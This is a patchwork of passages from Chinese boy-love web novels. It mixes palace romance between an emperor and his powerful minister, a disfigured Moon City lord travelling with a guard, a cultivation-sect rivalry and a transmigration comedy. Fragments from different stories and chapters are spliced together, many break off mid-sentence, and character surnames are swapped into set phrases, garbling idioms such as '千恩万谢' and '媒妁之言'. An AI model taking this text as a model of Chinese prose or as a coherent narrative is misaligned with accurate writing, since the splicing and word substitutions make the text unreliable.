赵离玄则捧着奏折,一脸明君好皇帝大义凛然为国为民的真诚眼神。 事实证明大义凛然并没什么用。 姜沉垂眸玩他的黑发完了片刻,玩腻了,目光一暗,手指终是一紧。 赵离玄呃。 我,这,果然又,被掐住了。 不过怎么说呢,反正本就有了十足的心理准备,何况大半天没被掐都有点不习惯了。姜沉这一掐他倒终于踏实了。 反正美人又舍不得掐死我。 他舍不得的。 舍不得 喘、喘不过气了! 赵离玄额角砰砰跳,努力保持围笑心里骂娘。 倒不是后悔自己过度自信,而是后悔自己犯了个低级错误 他竟忘记!提前预备一个起死回生的方案! 古人云,狡帝三窟。 就算他有十成的把握上山撸姜沉,亦有绝对的自信对方不会把他怎么样,依旧应该提前该想好万一真撸不成怎么收场才对!! 此乃帝王家的基本职业素养,《帝王策》明明白白写过的! 眼下倒好了,还狡帝三窟,直接一个窟窿就自掘坟墓了这可还能行? 姜沉,爱卿咳。 你有完没完,见好就收得了快松手。 再掐下去我一会儿真凉了你又要哭。 皇帝四肢僵硬余光流转,只见宫墙的雕栏玉砌下还挂着姜沉那副唐鹤子的两只小黄雀,一左一右憨态可掬。 哀哉!自以为笃定之事却玩脱了。 简直是寒叶飘零洒满我的脸,姜沉谋逆伤透我的心。 雀、雀雀救我? 赵离玄在入棠棣仙门之前,甚至连名字都没有。 不过是雁回山下一个肮脏流浪小乞丐,整日偷抢爬拿、与野狗争食,被人揍得鼻青脸肿。 本该自生自灭的野孩子,却在路边挖树皮填肚子时,碰巧被棠棣仙门云游的木卿长老偶然撞见,走了大运。 长老擅长相面,一眼瞥见他污泥褴褛下有根骨灵光。 “是修仙的好材料呵” 虽然长老闲云野鹤,把人拎进仙门、随便起个名字就又去云游不见踪影了,但还是彻底改变了这脏兮兮野孩子的整个命运。 仙门岂是凡俗。 赵离玄一进来就被震住了。若只有他一人,也就罢了。 反正他体质特殊,没到该死的那一天,就算又被弄死了也能在月华城幽离境的雪地里循环复生。 可眼下他身边还有个楚丹樨,以及吓傻了的无辜船夫。 片刻而已,小船已被乌恒士兵从四面八方团团包围。卫留夷从巡江船头跃下,沉着脸径直向他走来。越是靠近,越能看清他黑色的瞳里藏着浓烈情绪,心情显然极差。 船只太小。 身侧过于狭窄,就连拉开距离都做不到。胳膊一把就被抓住,卫留夷一双黑瞳死盯着他,另一只手则掐上他的后颈,仿佛恨不得能就此提小鸡一般将人狠狠钳住,再整个捉进怀中,恶狠狠咬上一大口。 同是习武之人,赵离玄见招拆招。 结果他越是挣扎反抗,卫留夷越是邪火直往脑上冒,最后干脆将人抵在逼仄的船壁上狠狠掐住腰,喘着气咬着牙,声音低哑: “跟我回家。” 赵离玄没理他,目光安静而黑沉,手上施力。 卫留夷肩上一阵剧痛,不敢置信地抬起眼,只见赵离玄一双陌生而波澜不兴的眼睛。 “再不放开,就掐碎你的肩骨。” 卫留夷愣了一愣,笑了一声:“好啊,你掐。” 掐碎就掐碎,又有什么,他还怕疼么?有的人都用诈死的方式狠狠惩罚他了,还怕追加这一点点皮碎骨裂? 一声金属轻鸣。 余光身侧,银刃划过,刀锋炫目。 那一击来得凌厉又角度刁钻,带着致命的恨劲儿。卫留夷猝不及防,全是反应快且运气好,才堪堪只被第一击划破了面颊,又及时拔出佩剑挡了第二下,才终于看清袭击者—— 护卫打扮的男子一袭劲装、面若玄霜。 卫留夷之前其实就看见了这黑衣护卫,只是不曾细看。直至此刻,才终于看清那护卫竟然生了一张清雅俊俏、不可多得的脸庞,本在胸口郁结的戾气顷刻一窜至头顶。 他目光格外阴冷地看向赵离玄,仿佛要将他一身骨头钉透一般。 “他是谁?” 乌恒侯牙齿咬得作响,声音玄冷得仿佛来自阴曹地府:“月华城主好兴致,什么时候新养了这么大一只看门恶犬?” 有很多事情不必多说,只互一眼便都心照不宣。 那侍卫眼里灼灼逼人、毫不掩饰敌意,一目了然护食的眼神—— 不是自视甚高的看门恶犬又是什么? 卫留夷几乎是在用全部力气压抑翻涌的情绪,才能保持住最后的涵养没说更恶毒的话。 原来如此!!! 怪不得,原来早就找好了新欢。 还约了新人一起沿江看景卿卿我我,好不逍遥! 只有他一个人愚蠢如斯,夜夜抱着几件旧衣不能成眠,甚至还疯了一般半夜跑去地宫挖他的水晶棺——若非狼狈如此,只怕至今也不会知道,有人能绝情如此将他耍得团团转! 有趣么? 穆玄,阿玄。 陌生的、高高在上月华城主。 好,很好。 只见楼玉宇耸入云霞,仙鹤清唳环绕峰峦,师兄师姐们御剑往来,衣袂飘然宛若天人。 卑微小乞丐初入仙门,哪敢造次。 当然是立刻伏低做小,乖乖当起了师兄师姐们殷勤的狗腿子,日常被随意呼来唤去,陪尽笑脸包揽没人愿做的辛苦杂活、跑腿洒扫,忙得不可开交。 背锅、做出气筒的时候也是有的。 遭人欺压、挨骂挨打也不少见。 但毕竟总算能够吃饱穿暖,何况日常洒扫时还常能得见孤鹜落霞、长空洗碧。 赵离玄还是觉得这日子比起山下时,好得不知道哪里去了! 更不要说,服侍的“主子们”心情好时,也能从指缝里漏下些残羹冷炙、低等丹药法器给他。 对师兄师姐们来说只是废物的东西,对赵离玄来说却样样有如至宝。 每次拿到都能千恩万姜、眼亮得惊人。姜沉言而有信。 说给史书,真给史书。 隔日清早,姜沉早朝还未归,沉沉睡懒觉的皇帝就被纷繁的脚步声吵醒。 一帮盔甲卫兵搬着各种各样的书籍进入皇帝寝宫。 金色的封面,是《赵氏大夏编年史》。 蓝色的封面,是《前朝春秋》。 青色的封面,是《忠臣传》与《武将传》。 红色的封面,是《烈女传》与《大夏诰命夫人名录》。 赵离玄一时喜不自胜。 “爱卿们辛苦!爱卿们要不要坐下来喝口茶?” 然而可想而知,搬书进来的守军自然也都是姜沉的人。明显军法严明、训练有素,对皇帝的搭讪目不斜视、置若罔闻。 赵离玄无人理睬,龙颜何在。 守军走后宫门果不其然又重新落了锁。 赵离玄早已淡定,问闻樱要了一杯青梅茶,便顺着书脊梁认真查找。 成堆史书,从开国乾元太|祖朝代到文帝武帝到他父亲宣明帝,历朝历代整整齐齐。 然而比起大夏祖辈历代史,赵离玄更关心的自然还是自己的历史。 《起居注》、《起居注》 我的《起居注》在何方? 啊,有了,在这! “锦裕三年四月初三。帝与骠骑将军赏花游玩。夜,将军宿于帝楚微宫。” 锦裕三年,赵离玄二十一岁。 那年姜青瞿尚未封姜沉,还是“骠骑大将军姜青瞿”。 年纪轻轻的骠骑大将军,那时已经学坏,成日夜宿帝宫。 “锦裕四年二月十二。”赵离玄为求保命上蹿下跳。 直到冰凉银白的剑柄“咔”的一声,在他眼前深深没入廊柱。 皇帝高挺的鼻梁险些直接撞上去。 幸而身后一阵清冷幽香,一道劲风将他大力拽入怀里。继而皇帝腰一紧,下巴一凉被人捏住、一抬。 柔软馥郁的触感,姜沉煞气扑面,好凶好凶,太凶了就连唇都是冰凉的。 赵离玄 赵离玄:咦?等下,唇?姜沉丢开狗皇帝。 拔出剑去到寝殿另一侧,“啪”的一声削铁如泥,做他本来想做的事 将皇帝寝宫后门门锁斩开。 锦裕帝赵离玄楚微宫九进九出。其中天子寝宫是最后一进,后门门锁外面是一方帝王自己的小花园,并不大却很别致,假山花木、曲径通幽,还有一方小水塘。 姜沉从院子里拿了两块琉璃砖。 “举着。” 赵离玄:“???” “阿玄不是喜欢《起居注》么?今日本王亲口念给你听。” “你听好了。” “锦裕十一年元月二十七。锦裕帝多日懒散装病、偷吃甜食。姜沉盛怒,罚锦裕帝举砖靠墙站半个时辰。” “挺直,站有站相!” 邵霄凌还是低估了卫留夷。 他一派轻松靠在赵离玄背上,坐等月华城主狠狠揭穿乌恒侯的两面三刀、虚伪自私。 却万万没想到,卫留夷竟会先发难,策马直冲而来。 邵霄凌的第一反应,此人被拆穿心思恼羞成怒,要害赵离玄灭口。 当时情况也不及细想,只赶紧顾护了一下赵离玄,冷不防却是自己被一把扯住,与卫留夷双双坠马。 好在都是习武之人。 邵霄凌翻滚两圈,一跃而起,却还没站稳就又被卫留夷一把摁城墙上,他也不甘示弱马上还击,拳腿招招狠戾,徒留马儿在旁嘶鸣。 一大清早,朗朗乾坤。 往来百姓只见两位锦衣华服男子在城门口不顾脸面大打出手。这实在是当然要停下来,疯狂围看热闹了! “这,珠光银丝衣的那位,怎么看着有些像咱们少主啊?” “好像还真是咱们少主,不知怎么一大清早那么大火气?” “另外那位也真是大胆,竟敢与洛州侯撕打,就不怕牢底坐穿连累家人?” “偷偷说,另外那一位看着,有点像是郢都的小乌恒侯。” “啊?” “不可能吧,等等,好像还真是!” “乌恒侯为何会在咱们安沐,还和少主打起来了?” 赵离玄看着他背影,若有所思。 邵霄凌很是不爽,伸出爪子一把抱住。 他虽一向不喜月华城主动不动就笑,但和笑相比,他更不喜欢他对着那种人怅然若失! “别看了!那王八蛋什么狗玩意儿?他以前对你干的那些破事听得都来气。口口声声错了,提钱又不肯给,虚情假意算什么东西!” “好了好了,知道你以前受委屈了。刚才我说的都是真的,我洛州什么都有,你要什么,他不给你,我给你。” 赵离玄: “少主,你觉得我适才费劲跟他拉扯,问乌恒要那八十万石粮草,是为了什么?” 邵霄凌居然还眨巴眨巴眼:“啊?” “还不是因为你们洛州兵太少、粮又缺,打仗都快要打不起?” 不然还能为什么,八十万石担粮食我自己拿来吃吗? 邵霄凌:“哦。” 炎夏阵阵,窗外蝉鸣又起。 半晌,邵霄凌皱了皱眉有点委屈:“可是,这缺兵少粮也不全是我的错。半年以前,洛州还是我爹在管。这半年又是南栀在管,嫌少你找他们算账去。” 赵离玄: 少主好,少主妙。少主时不时都能让人太阳穴为他突突跳! “你是如何从我刚才那句话,听出怪你的意思?” 邵霄凌嘴硬:“那你话里话外的意思,不就是我早年过于吃喝纨绔,浪费了州府的银钱,如今才会缺钱少粮的嘛?” 等下等下我得缓缓! 赵离玄:“~~~~~~~”缓好了。真还挺薄的,都咬不到。 但不管怎么说,被砍之前居然有这种好事?那既然美人送上门,那就别怪我不客气了。 当然要先亲一口牡丹花再死!亲个够本!么么么么么么。 姜沉差点没疯。 他彻底低估了某些人的无耻程度。 他以为的惩罚,谁承想狗皇帝居然反客为主还揽着他的腰亲上瘾了!!!! 姜沉推了他一下竟然都没推开! 真气笑了。 是,是!都是他错,都是他蠢! 阿玄从来就没蠢过,一直以来都是他蠢!!! 把这种没有心的混账东西奉若神明,成天被气得牙痒痒,然后还不死心想要亲他。 蠢货。疯子。 姜青瞿你就可笑! 可没想到更气人的还在后头。好容易皇帝亲爽了,依依不舍放开他。 “咳,那什么,爱卿咱打个商量可好?亲都亲过了,那什么‘打是亲砍是爱’能不能就省一省?” 说着,还瞟了一眼堑在墙里的宝剑。 “骠骑将军大破瀛洲北征归来,赵饮,将军受帝封赏,夜宿于帝楚微宫” “锦裕七年十月十日。”邵霄凌不懂。 这月华城主他,到底是怎么劝服倔老爷子的? 他全程看到的,就是赵离玄来了将军府,同老爷子和和美美吃了个晚宴喝了个茶。 顺带关心一下小梅,教将军府奶娘下人们今后如何给小姐敷药,哪里学会施针,怎么练习走路。 又和老爷子聊了聊洛州风物,以及老爷子年轻时的战绩辉煌。 就这样,全程不曾提过兵权之事。却在两人离开将军府时,路老将军派人追来送了他一只锦盒。 出门打开一看,赫然正是虎符。 邵霄凌:“?????” 他无法置信地看向赵离玄,半天憋出来一句:“你,该不是会什么妖法。” 不然真找不到别的理由来解释这一切。 这人才来洛州,就已哄得上下官员们信任喜欢、说动洛州最倔的老爷子,此外还能蛊惑南越王、卫留夷、纪散宜等都对他念念不忘。 又不是什么天仙美人,不是会妖术是什么? “你的妖术,如何不我身上用用看?”邵霄凌说着,还一本正经伸出双手。该不会全天下就只有他一人头脑清明、不会中招吧? 赵离玄: 他实在懒得接某人蠢话:“兵符既在手,少主明日若没事,陪我去兵营转转。” 邵霄凌:“啊?” “帝与姜沉商议国事,夜晚共赴汤泉。夜宿汤泉宫。” 原来月沐萱也不完全是自己想象中的那种“天真毒辣又痴情”的坑爹设定。竟把这枚贵重的戒指送给他,说不定她“男主就是一切”的恋爱脑还有救 “对了~”只顾着低头看那戒指,全然没看到月沐萱狡黠一笑,在他耳边软软道,“师父您其实,并不反对我和阿熠的事吧?” 赵深摇了摇头不疑有他,心里还正奇怪我有什么资格反对你们啊? “好的!”谁料月沐萱当即双手一拍,“大家可都听到啦!你们几个,赶快回去跟爹爹回禀一声,就说是我师父~赵家二少已经替我许婚了!” 等等,啥?! “父母之命,媒妁之玄。沐萱和阿熠的事,爹爹一直不答应,不过师父答应也是一样的呢!今后爹爹若有话说,嘿嘿~就麻烦师父替沐萱担待啦。” 说话间,几个月莲教众早已轻功而去无影无踪。 赵深当即满心的呵呵大意了! 我就说按照月沐萱的心机绝对不会随便就跪下、认人做师父还送礼的! 开玩笑,这锅我不能背啊!月星宿不会放过我的!那只女儿控的“星宿老鬼”,要是知道了还不把我扒皮拆骨 哎,不过~ 以我如今的实力,打不过那月星宿么? 秦熠是打得过月星宿的,不然那老鬼也不至于气得寻死觅活了。赵离玄和秦熠平分秋色。按照A>B,C=A原则,可以充分必要地推出C>B。赵离玄打月星宿不成问题,嗯!这逻辑学导论没白学! 即使如此,被小妖女耍了还是不爽啊! “阿熠你说,咱们婚宴上摆什么花呢?咦!大魔头这盆这不是鬼灯笼的苗儿吗?沐萱也最喜欢鬼灯笼了呀!花骨朵又大又多又喜庆!” “放下!你把姜前辈的花放下!” “奇怪了,”月沐萱噘嘴不满,“是你们让我来搬花儿的呀!” 第 42 章 第 42 章 草丛里,缓缓起身一个白衣男子。一如既往高大俊朗、面无表情,长发却在朝露和山间的云气中坠了些晶亮的水珠,整个人“柔光”、“闪耀”的效果直接开到MAX。 长发在风中微微浮动,如若云中仙人,跟他们简直不像同一个次元的生物。 这边NPC还在感叹阶级差距导致的美色差距,身旁的红衣男主已经一脸兴奋地跑了过去:“我出门时没敢打扰,没想到前辈起得那么早~前辈在这儿做什么?你这是在挖猫草?” “九命喜欢这山中的馥叶香。倒是你们两个” 打量过赵离玄,又看向他身边脱得仅剩裤衩的小厮。 光天化日,荒山野岭,衣不蔽体。 “不是的不是的姜前辈你误会了!”“卧槽不是的别乱想我跟他绝对没有什么见不得人的关系!” 误会什么?姜沉皱眉。好在,纵使他花样百出,小师弟仍是一视同仁的淡漠寡言。 无论赵离玄又掏出什么宝贝送他,用什么法子哄他逗他。他也只是用那双冰冷幽暗、如一潭死水的眸子看着他。 有时耐不住被缠得紧了,还会沉默地别过头去。 至少在众人看来,那不是全身心的拒绝又是什么! 怎料赵离玄仍锲而不舍。 不久,除了日常送礼,他竟还开始毫不藏私,手把手热心教了姜沉一些进阶火系法术。 那些法术每个都极难,纵使赵离玄火灵根百年一遇,当年也是花了半个月才掌握诀窍。 姜沉却不愧是千年一遇的不世灵根。 只看赵师兄演练了两遍,便分毫不差地使了出来。 如此逆天,赵离玄脸上竟也不见半分嫉妒,反而一派情真意切握住小师弟双手: “小阿沉你果真天纵奇才!太厉害了!!!” 说罢,竟还猝不及防一把抱起了僵硬的小师弟,当场华丽丽转了个圈。 小师弟赵离玄摇了摇头。 不行。他必须得快点到洛州、见到有温度的新欢才行。 只有画像根本不够,必须与真实的大美人早日同游畅饮,一醉解千愁! 小船继续前行。 赵离玄毕竟尚在失恋恢复期,虽然想要像平日里那般睡得死猪香甜。可还是常常睡到一半就突然醒了,心里空荡荡。 每当这种时候,他就会从船舱里爬出来,到甲板上看月亮。 那日初一,天不见月,仰头只能看到满天星河镶嵌在黑玉般的天幕之上。 赵离玄赤足脚踏在船木上,仰着头伸开双手。 星空浩瀚,人在苍穹之下显得渺小。夜风微凉,吹乱发丝,乱世之中难得有这样片刻的宁静。 按说这般天幕之下,渺如蝼蚁的芸芸众生都该想开,不该再有什么执念。 他也不想有执念。 哪个脑子清楚的人愿意成日被大狐狸笑话,说什么“吾主别的样样好,就是实属恋爱脑”。 然而,这就像有人生来贪赵功名,有的人生来与世无争,有的人毕生追求自由——他就是无论如何,也想找个人一起甜甜蜜蜜过日子。 也知道这想法荒谬,也清楚人生海海,一个人也能活得精彩。 也曾无数次立志要洗心革面,然而实在很难违逆自己的天性。 甚至就连此刻,他都还在偷偷在想,这么美的夜空,若能有人跟他贴贴、陪他一起看该多好。 这几年,他常会做一个梦。 类似的夜空下,微风低语,河边芦苇丛如同蓬松的大尾巴毛轻轻荡漾,而他醉卧美人膝。 美人身有幽兰香,戴着凉戒的手指捏猫咪一般捏他后颈。他则如同喝醉一般浑身软绵绵,被心满意足的舒适填满,伏在那人膝头,满心沉甸甸踏实的甜蜜。 梦境总是甜美又虚幻。 若真有人肯这样宠他一下就好了,如他这般恋爱脑,一定“命都给他”。 可惜他丑,好多人都嫌弃,摸都不肯摸一下。 “主人,当心夜凉。” 正发着呆,忽然身后男声低沉,一阵淡淡的丹桂香。 英俊干练的身影从身后而来,帮他披上斗篷。 星海之下,赵离玄并未如平日一样戴着半块面具,不免有些慌乱。下意识地缩了缩身子,好在夜色沉沉没有月光,身后人多半也根本看不清他模样。 黑衣丹桂香的男子,是荀青尾给他安排的护卫。 赵离玄本已比一般男子要挺拔高挑,这护卫却比他还要高上一些。宽肩细腰,沉默寡言,周身的香气甜丝丝的。 快要离开月华城时,荀青尾把这人引至他面前:“此人剑术高明,贴身护着你,好歹再遇到危险你也不至于孤立无援。也能少被人弄死几次、少受些罪。” 赵离玄一个人惯了,本想婉拒。 然而谁让他上回死得确实太难看了。 面对荀青尾与福伯等人咄咄逼人的眼刀阵阵,实在是找不出什么借口推辞。 只能带上护卫同行。好在此人话少事也少,与其说是个护卫倒不如说更像个影卫,明明那么大一个活人,却常常能让人忽略他的存在…… 正想着“忽略他的存在”,冷不防那黑衣男子忽然躬下身来,修长手指握住了他的脚腕。 赵离玄一惊。 他赤足陡然被握住,一时紧张得脚趾微蜷。偏偏丹桂扑鼻,又让他片刻晃神,直接彻底磕巴: “不、不必。青尾他、他叫你一路护我,并没有、叫你替我穿鞋。” 男子垂眸。 其实,若只论模样,以此人的清逸俊朗,比赵离玄的旧爱卫留夷甚至新欢洛南栀都丝毫不逊色。 只可惜…… 赵离玄这么个容易心动、擅长一见钟情的人,望着眼的俊美护卫,竟是一片心如止水,古井无波。 护卫名唤楚丹樨。 月华城码头送行时,荀青尾将他扯到一边:“给吾主交个底,这个楚丹樨他,曾是吾主早年的心上之人。” 赵离玄:“???” “应该是初恋,那时你待他一心一意如珠似宝,可他不知珍惜。后来你为迫自己忘了他,喝了一瓶叫做‘浮光’的忘情药。” 赵离玄:“……啊?” “便从此把他给忘了。不过一切原是他活该,吾主也不必放在心上,把当做普通侍卫用了就是。” “吾主放心,吾把过关,此人忠诚毋庸置疑。” 赵离玄:“啊这……” 这故事要命,钻得他脑子疼。 楚丹樨替他穿好鞋,又重新给他裹了被弄乱的披风。 赵离玄本以为弄完了,谁知此人又从后面握住他的手,以一个几乎拥抱他的姿势,不言不语解开他缠着纱布的手。 “不、不必。”赵离玄挣扎,只觉热血突突往脸上涌,“这个,是真的不必。” 他的身体状况,这几年着实不佳。 情伤、打仗、放血、抽髓,身体早被折腾得油尽灯枯。不止脸上毒纹越发严重,手腕脚腕也常常溃烂,实在是见不得人。 “主人昨日没换药,”楚丹樨低声道,“楚缘替主人换药。” 赵离玄:“这真、真不必,我自己回去换。” 楚丹樨却不听他的,继续拆了他伤口的纱布,露出纱布下糟心的血肉模糊。 众姜沉:“你读书时顽劣成性,成日爬高上低,不是在树上便是偷去骑马。” 嗯,由此可证,我年少时曾飞檐走壁、武艺超群。 姜沉:“不喜听讲、又不爱背书,太傅说你两句你便反污太傅迂腐。考试时腆着脸去抄旁人答卷,偷奸耍滑倒是从来不会垫底。” 嘻。由此可证,我头脑聪明懂得变通,又擅假以物。 姜沉:“可有时偏又榆木脑袋!每次与三皇子一起惹怒太傅挨太傅罚跪太庙,都是只你一个人在那傻傻跪满半个时辰。” 哦。由此可证,我少年时诚信老实,又敬重师长。 “每次出宫都一定要去东市西市逛几个时辰,买许多不成体统的话本藏在袖子里,沿途所有的粮价、菜价、胭脂水粉、狗皮膏药但凡能见着的全要去看去摸、询一番价,商贩天南地北聊家常,你又不买!” 看看!我小小年纪已知关心宫外民生,体察入微,一个多么好的帝王胚子。 十项全能好皇帝,爱民如子赵离玄。 怪不得俊美优秀姜沉也要被我倾倒。 时至午夜。 今日天子卧榻之畔也有权臣安睡。 可见,那墨迹未干的假《起居注》就算再糊弄,至少有一句是真的姜沉确实喜欢“夜宿帝宫”! 无妨,宿宿更健康。 难道狗皇帝就不喜欢权臣留宿吗?狗皇帝已经喜欢得都没有脑袋了。 美人在侧,又好看又香,半夜醒来吸一口都能做个好梦。舒坦。 “爱卿,爱卿过来点?” 近来深夜,皇帝越发肆无忌惮。 姜沉尚每日克己复礼睡在床边边上,皇帝倒是学会了往人家那边蹭,满脑子的“芳泽在畔,我要一亲芳泽”。 这几日,常是一张龙床半张空着,另外半张则挤得不行。 皇帝四仰八叉肆无忌惮,姜沉只差半寸就要被挤下床。 今日又是如此,姜沉:“快睡别闹!” 赵离玄不听,反而又挤他。 姜沉:“阿玄,你伤未痊愈,万一睡熟时被我压到” 赵离玄:“可岚岚平时对我摸来抱去的,也并未怕压坏了着我。” 黑暗中,赵离玄都能想象姜沉此刻的憋闷。 一如当年他养母鸢贵妃宫里那只一戳就炸毛的猫。 他逗完开心了,哈哈一声,又赶紧伸手去讨好,指尖蹭啊蹭。 姜沉拂开他。 几番抗拒后,最终是十指紧扣。 赵离玄:哎嘿嘿嘿。 看,我果然俊逸潇洒招人喜欢,美人再怎么生气也拿我毫无办法。 开心,满意,睡了! 睡。 睡。 睡。 都迷迷糊糊快过去了,突然一丝矫情,赵离玄又醒了。 唉。 真的,他真宁可自己干脆笨一点、真昏君一点,傻唧唧的好骗。被权臣舒舒服服骗一辈子就完了。 却为什么偏生不是那样? 冬夜暖融,美人在侧,一切和和美美。 那么好的场景,却压不住心底一个清晰的声音。 赵离玄啊赵离玄,《起居注》糊弄成那样,你真就视而不见了? 赵离玄 他其实,混成这狗样,要求并不高。 也不需要人生多么真实。 可如若“夜宿帝宫”、“纸短情长”都能是假,别的东西也一样可以是假。 比如,他对你的种种纵容,无奈悲愤、隐忍心疼。 时至月末,月色熹微。 赵离玄终于没忍住,戳戳身边:“青卿,睡了么?” 姜青瞿本就浅眠,狭长凤目微微睁开。 “青卿。” “过去的事,青卿真就不能与我坦诚相待么?” 这已经不仅是不正常。 而是过于诡异了!!! 那个嫉贤妒能的赵离玄,他他他怎么可能真心为小师弟开心? 这绝不可能! “他哪会有那么好心?” “的确太古怪了,根本不是赵师兄平日会有的做派,必是笑里藏刀、包藏祸心!” “就是就是,无事献殷勤绝对没安好心实在太可疑了!” “得看看他究竟想干什么!” 于是,众人不眠不休,一一拆解赵离玄言行。 这一扒下来,果觉处处可疑 就比如他送小师弟高阶灵弓那事吧。 乍一看昂贵厚礼、诚意斐然。但实际上,他会不会只是故意送超高阶礼物,暗戳戳指望刚入门的的姜沉修为不及、控制不住,被灵弓反噬非死即伤? 只可惜小师弟资质逆天,轻松掌控,他才不曾得逞! 而之后,他又送小师弟烈阳草。那物灵性那般凶猛,刚入门的弟子哪里承受得住?他绝对是想看小师弟爆体而亡。 可惜如意算盘又没中。 小师弟毕竟不是凡人,服用后反而功力大增。甚至最近,都被破格允许进入低阶灰晶秘境历练了。 第一次历练,小师弟收获远超同辈。 模样也算不得狼狈。果然,老将军自己托病不出,却没有将小姑娘藏起来。 仆人带洛州侯与赵离玄长驱直入,径直在将军府的大合欢树下找到了在椅子上读书的瘸腿小姑娘。 邵霄凌看着赵离玄蹲下来,一边让奶娘丫鬟们哄着小姑娘说话,一边细心诊疗。从药箱拿出各类银针瓷瓶,摆得像模像样。 “行不行啊你?” 赵离玄抬头看他一眼。 有那么一瞬,邵霄凌怀疑自己是被当傻子给蔑视了,却又并无证据。 风儿吹过,哗啦啦,合欢的粉色绒花落了一地。 小姑娘一双水葡萄般的大眼睛,倒是特别懂事坚强,很乖巧地表示,如若能让她将来可以走路,她并不怕疼,什么药都敢吃什么针都敢扎。 邵霄凌陪着赵离玄在王府小院里忙活了整整一个时辰。 他站了个好角度。 从他站的地儿,只能看到赵离玄没戴面具的半张脸。越看越觉得此人毁容,简直暴殄天物。 可片刻后细思一番,一块再美的玉,碎了就是碎了,哪怕粘起来也早已遍布裂痕,卖不出好价钱了。就又没啥多的想法了。 忙到快中午,两人才从将军府出来。 邵霄凌:“你这也没治好啊?” 赵离玄一时没忍住。 “少主,她打小就瘸,腿儿又瘦又弯,能是仅仅一天就好到下地走路的么?”一如你这洛州,缺兵少粮百废待兴,再有神人来助,难不成就可指望眨眼朝夕立刻欣欣向荣的么? 回侯府的马车在主街的青石路上粼粼前行。 邵霄凌不仅没被他阴阳到,还反驳得理直气壮:“都说月华城主医术出神入化,我自然以为能了!” 几乎没有受伤,不过是清隽的脸上沾满泥污,衣衫破损罢了。 赵离玄的反应却是无比的惺惺作态拨开人群就冲了上去。 不仅关切地用袖子去擦姜沉脸上的泥污,语气亦前所未有的紧张: “怎么弄成这样?伤哪儿了?痛不痛?赶紧把药吃了快!” “不愧是小阿沉,初战告捷就得了那么多灵石灵果。肯定累坏了吧?” “赶紧去我那,我做了好多好吃的,一定要好好给你补补身体才是!” 两个大男人,能有什么见不得人的关系? 忽然余光一凌,袖中瞬间一道银丝射出,一条红花大蛇被刺中脑袋直直钉在地上,挣扎着拿蛇尾拍打着姜慎行□□的小腿。 “哎妈妈妈妈妈呀有蛇?!” 比起差点被咬的基友,赵深则明显更加担心另一个:“姜前辈!三夫人不是说让你不要再用这银弦了?那日对着月沐萱时也是,万一妄动真气崩断了冰魄金丝,前辈你的身体” “一两根琴弦没关系的。” 姜沉抿了抿嘴,垂眸露出了似笑非笑的表情,“倒是这剧毒的赤焰蛇,被咬了可不得了。” 姜慎行心有余悸:“还、还是剧毒?” “后山是有一些毒蛇,要谨慎些才是。你们两个既来山上,怎么不叫宫渡他们陪着?” 赵深叹道:“别提了!他俩昨天又调皮捣蛋上着课上房梁掏鸟蛋去了,结果被他们的诗书师父罚静坐一整天。姜前辈若是还要往后山走,不如咱们结伴?” 姜慎行心说赵编明鉴!直接带上大魔头,毒舌害虫都躲远远! 第 43 章 第 43 章 【秦宗主,咱们来比试三场。你若赢了,沐萱二话不说放人!】 书中,月沐萱妖娆一笑,明明有一副清丽绝世的容颜,却伸出纤纤玉手,如无赖男子一般笑靥如花地挑起了秦熠的下巴。 【但我若赢了,秦宗主你~可从此就是沐萱的人了哦,留在我月莲教,给沐萱做个娇俏的压寨相公吧!】 后来,秦熠当然喜闻乐见地输了,败给了红颜一笑。 虽然最后没做什么压寨相公,却也把月沐萱迷得神魂颠倒,该放的人还是放了。 同人不同命。 对男主,女主开出的就是“赢了放人,输了嫁给你”这种稳赔不赚的买卖。 而换成了其实帅度也没差秦熠几分的赵离玄,月沐萱一双美目转了转:“不如这样吧。若是执剑长老输了,我便要你一只手、一条腿、一只眼,还要你滚回巴蜀,从此再也不能与阿熠争锋!” 妈蛋。这差别待遇!自打认定了赵离玄必是蓄意谋害,众人便拼命找能够钉死他恶毒意图的证据。 只可惜,吭哧吭哧数月,一无所获。 反倒疑似是被打了脸 数日前,赵离玄后山闭关,冲击新境界去了。 却有另一位资质平平的白霜澄师弟,经他亲爹药宗长老有意安排,得以越级随着姜沉一起进入绿晶秘境。 结果这位倒霉的白师弟,竟不慎也触到机关,还放出了一头前所未有暴烈的巨鲸妖兽。 彼时几乎绝境。 真的全靠姜沉奋力死撑,舍命护众人逃离,众人才不至于全数交代在秘境里。 而这回,姜沉伤得无比严重。月华城主赵离玄上一回恋爱,人死加心死,于半月之前。 他巴巴地在乌恒侯卫留夷身边待了一年,替人治心上人宿疾,平日里也没少一同讨论琴棋书画、诗词风月,还帮卫留夷重新统筹了乌恒的钱粮布政,打退了三次西凉入侵。 就真的…… 赵离玄自己都觉得,撇开外貌不谈,他简直又强又好用、无所不能。 然而还是无人爱他。 甚至被拿去当血包给别人的心上人续命,唉。 都说喜欢过一个人,总得留下点什么。 他自知没能给卫留夷留下什么,倒是给自己小腹留下一道极其难看狰狞的蜈蚣疤。 这也太惨了,这若是有朝一日让他骗到个不看脸的瞎子美人,美人也会觉得他不好摸而嫌弃他。 何其凄惨。 一般人遇上这些糟心事,只怕死的心都有。 赵离玄也是有模似样、货真价实地憔悴暴瘦,缠绵床榻趴了很多天。 可谁成想,情伤半月,不药自愈。 多亏洛南栀的画像太好看! “旧的不去新的不来”,“要么时间不够长,要么新欢不够好”,古人诚不欺我。新的美人图高高挂起,赵离玄终于不再背着人时时暗戳戳地伤心了。 洛南栀。 芝兰玉树的大美人,单是名字就花香扑鼻。 赵离玄回想曾经,他本早该认得这洛南栀才对——当年他暗恋南越王,在南越王府蹭吃蹭喝不肯走,期间洛南栀也曾多次去王府觐见。 然而他那时对南越王一心一意,连看都没去看过这天下闻名的“洛川双璧”一眼。 失误,莫大的失误。 荀青尾:“卖画给我的洛州画店店主说,说这丹青所绘洛南栀,风华尚不及洛州大都督真人十一。” 赵离玄闻言,更是兀自愣了好一会儿。 那洛南栀真人,该多好看啊? 他这仅有一半脸的丑人,还配倾赵佳人吗? 不,他不配。 然而,赵离玄,字蟾宫,就是“癞蛤蟆想吃天鹅肉”的那个蟾宫。 就万一呢?万一这洛南栀便是世上少有的不在意他样貌,只在意他的才华之人。 世间那么大,总得有那么一两个品位不俗、懂得欣赏他的人吧? 相比他之前多次营救赵离玄落下的皮外伤,这次被抬出来时,却几乎成了一个血人。 深可见骨的伤口从肩胛蔓延至腰腹,泛着不祥黑气。人更是整整七八日昏迷不醒,全靠几位长老轮流输入灵力才勉强救回一命。 一时间,先前咬定赵师兄秘境暗害的人,都默契不再提了。 